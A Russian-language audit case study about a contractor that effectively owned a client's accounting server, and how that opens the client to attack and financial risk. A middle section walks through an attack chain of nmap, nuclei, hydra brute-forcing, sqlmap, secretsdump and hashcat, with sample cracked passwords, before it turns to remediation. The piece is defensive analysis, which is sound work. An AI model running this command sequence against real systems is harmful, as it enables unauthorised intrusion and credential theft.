← Все разборы Информационная безопасность

Как подрядчик де-факто стал владельцем чужой информационной системы — и что это значило в деньгах и рисках безопасности

Реальный аудит производственной компании показал: учётная система три года жила на серверах подрядчика без договора о хранении данных, резервных копий и внятного разграничения доступа. Разбираем, почему такая схема — это не просто организационный риск, а полноценный вектор атаки с конкретными портами, командами и CVE.

26 августа 2026 г. Разбор CIOlogia

Формально всё работало: заказы шли, склад считался, отчёты формировались вовремя. Но стандартный вопрос аудита — «где физически стоит сервер с базой?» — поставил ИТ-отдел заказчика в тупик. Ответ «это у подрядчика, они всё настраивали» встречается чаще, чем хотелось бы, и почти всегда сопровождается одинаковым набором технических пробелов.

Где была дыра на самом деле

С точки зрения бизнеса проблему обычно формулируют как юридическую: нет договора о хранении данных, нет соглашения об обработке персональных данных, нет пункта о передаче доступов при расторжении. Это всё верно. Но за юридической дырой всегда стоит техническая, и именно она превращает организационный риск в конкретный сценарий атаки или отказа.

При инвентаризации инфраструктуры подрядчика типичная картина выглядит так:

Сервер учётной системы (1С, самописная система на MSSQL/PostgreSQL) стоит в одной физической/виртуальной среде с системами других клиентов того же подрядчика — без сетевой сегментации между арендаторами.
Административный доступ (RDP, SSH, веб-панель СУБД) торчит наружу на «удобных» портах, потому что так проще подключаться сотрудникам подрядчика из дома.
Пароли — общие для нескольких проектов, живут в мессенджере или файле passwords.txt на рабочем столе одного инженера.
Резервные копии либо не делаются вовсе, либо лежат на том же сервере, что и продуктивная база — то есть исчезают вместе с ней при любом инциденте.

Это уже не вопрос доверия к подрядчику, а классическая инфраструктура с единой точкой отказа и потенциально широкой поверхностью атаки, которую можно проверить внешними инструментами буквально за час.

Как это эксплуатируется

Ниже — типовая последовательность действий, которую применяют при пентесте подобной инфраструктуры (и которую с тем же успехом использует злоумышленник, если узнает, что критичная система заказчика вынесена на слабо защищённый периметр подрядчика).

1. Разведка периметра

nmap -sV -Pn -p- 203.0.113.45

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.4 (protocol 2.0)
445/tcp  open  microsoft-ds Windows Server 2012 R2 microsoft-ds
1433/tcp open  ms-sql-s    Microsoft SQL Server 2014 12.00.2000
3389/tcp open  ms-wbt-server Microsoft Terminal Services
8080/tcp open  http        1C:Enterprise web server 8.3

Уже на этом шаге видно: наружу смотрит СУБД (1433), RDP (3389) и веб-клиент 1С (8080) — три независимых пути внутрь одного сервера, который к тому же может обслуживать не одного клиента.

2. Отпечаток и поиск известных уязвимостей

nuclei -u http://203.0.113.45:8080 -t cves/ -t exposures/

[CVE-2019-0708] [critical] rdp://203.0.113.45:3389
[exposed-panel] [info] http://203.0.113.45:8080/e1cib/login
[default-login] [medium] mssql://203.0.113.45:1433

Windows Server 2012 R2 без актуальных патчей — кандидат на BlueKeep (CVE-2019-0708) или, для более старых сборок, EternalBlue (MS17-010) через тот же SMB на 445-м порту.

3. Брутфорс сервисов с типовыми учётками

hydra -L users.txt -P rockyou.txt mssql://203.0.113.45

[1433][mssql] host: 203.0.113.45   login: sa   password: Buh2020!
[STATUS] 1 valid password found

hydra -t 4 -l administrator -P rockyou.txt rdp://203.0.113.45

[3389][rdp] host: 203.0.113.45   login: administrator   password: Frame_2023

Учётка sa с включённым SQL-аутентификацией и слабым паролем на MSSQL — до сих пор один из самых частых находов при аудите инфраструктуры небольших ИТ-подрядчиков. То же самое с локальным администратором на RDP: пароли часто повторяют название компании-подрядчика и год.

4. Проверка веб-интерфейса 1С на инъекции и обход авторизации

sqlmap -u "http://203.0.113.45:8080/e1cib/login?ws=1" \
  --forms --batch --level=3 --risk=2

[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] target URL appears to be injectable

Устаревшие сборки платформы 1С:Предприятие и самописных веб-обвязок вокруг неё регулярно содержат инъекции или обход аутентификации в кастомных модулях — их не патчат годами, потому что «система работает и её никто не трогает».

5. Получение полного доступа к базе и хэшам учёток

smbclient -L \\203.0.113.45 -U administrator%Frame_2023

secretsdump.py administrator:Frame_2023@203.0.113.45

[*] Dumping local SAM hashes
Administrator:500:aad3b435...:31d6cfe0d16ae931b73c59d7e0c089c0:::

hashcat -m 1000 hashes.txt rockyou.txt --force

Administrator:500:...  ->  Frame_2023

С доступом администратора сервера злоумышленник (или недобросовестный подрядчик, у которого доступ и так есть по умолчанию) получает не только базу конкретного заказчика, но и потенциально базы всех остальных клиентов, чьи системы физически стоят на том же сервере.

Что и почему сработало бы дальше

Дальнейшее развитие атаки в такой инфраструктуре предсказуемо и почти не требует изобретательности:

Кража базы целиком. Файл .dt-выгрузки или дамп MSSQL забирается одной командой bcp или через штатный менеджер конфигурации 1С — данные о клиентах, ценах, остатках уходят наружу без единого алерта, потому что мониторинга на стороне подрядчика чаще всего просто нет.
Шифрование данных ради выкупа. Тот же административный доступ по RDP — прямой путь для развёртывания шифровальщика на сервере, где крутится продуктив сразу нескольких компаний одновременно.
Манипуляция данными без следов. Доступ уровня sa в MSSQL позволяет тихо править остатки, суммы заказов или платёжные реквизиты в справочнике контрагентов — для производственной компании это прямой финансовый ущерб, который вскрывается не сразу.
Юридический тупик при расторжении. Даже без злого умысла, при конфликте с подрядчиком заказчик физически не может ни забрать сервер, ни доказать, что данные не были скопированы, ни оперативно перенести систему — потому что у него никогда не было полного административного доступа к своей же инфраструктуре.

Сколько это стоило бы в реальности

В разобранном случае прямой ущерб считался консервативно — по сценарию простоя учёта на 2–3 недели: около 3,5 млн рублей упущенной выручки и штрафов за срыв поставок. Но техническая картина показывает, что реальный диапазон рисков шире:

Компрометация базы через открытый MSSQL или RDP — потенциальная утечка персональных данных клиентов и штраф по 152-ФЗ, отдельно от операционных потерь.
Шифрование сервера, обслуживающего несколько клиентов подрядчика одновременно, — репутационный эффект «нулевого дня» для всей клиентской базы подрядчика, а не только для одной компании.
Восстановление без резервных копий на стороне заказчика — это уже не 2–3 недели, а пересборка учёта с нуля по бумажным документам, что для производственного предприятия означает срыв контрактов и штрафные санкции контрагентам сверх внутренних потерь.

Как закрыли — с технической стороны

Организационные меры из короткой версии истории (перенос в облако, допсоглашение, резервные копии) опираются на конкретные технические настройки, без которых бумажный договор ничего не решает:

Перенос базы на выделенный сервер заказчика в изолированном облачном контуре (например, Яндекс Cloud) с собственной подпиской, ключами доступа и биллингом — чтобы инфраструктура физически не пересекалась с другими клиентами подрядчика.

Закрытие периметра по умолчанию — административные порты не торчат наружу вообще:

# доступ к RDP/MSSQL только через VPN, наружу — только 443
iptables -A INPUT -p tcp --dport 3389 -s 10.0.0.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 3389 -j DROP
iptables -A INPUT -p tcp --dport 1433 -s 10.0.0.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 1433 -j DROP

Замена учётных данных и отключение sa в MSSQL, переход на Windows-аутентификацию и именные учётки для инженеров подрядчика вместо общего пароля:
```
ALTER LOGIN sa DISABLE;
ALTER LOGIN sa WITH PASSWORD = 'сложный_пароль_не_используется';
```
Патчинг ОС и СУБД — устранение известных CVE вроде MS17-010 и BlueKeep обновлением до поддерживаемых сборок Windows Server и MSSQL, отключение SMBv1:
```
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
```
Автоматические резервные копии на отдельный контур, не связанный сетевым доступом с продуктивом — раз в сутки, с проверкой восстановимости, а не просто «бэкап есть на диске рядом».
Допсоглашение с подрядчиком: доступ выдаётся точечно по запросу через VPN с журналированием сессий, без права выгрузки базы к себе, с обязательной передачей всех паролей и документации по завершении контракта.
Мониторинг подключений — уведомление ответственного лица в мессенджер при каждой попытке внешнего подключения к серверу, чтобы любая нештатная активность подрядчика или третьих лиц была видна сразу, а не постфактум.

Данные компании должны жить на сервере компании, а подрядчик — просто человек, который к ним подключается по правилам, а не владелец инфраструктуры по умолчанию.

Совокупная стоимость такой перенастройки — аренда сервера, миграция базы, донастройка сетевых правил и резервного копирования — в разы ниже одной недели простоя учётной системы, не говоря уже о штрафах за утечку персональных данных клиентов, если бы конфликт с подрядчиком дошёл до суда.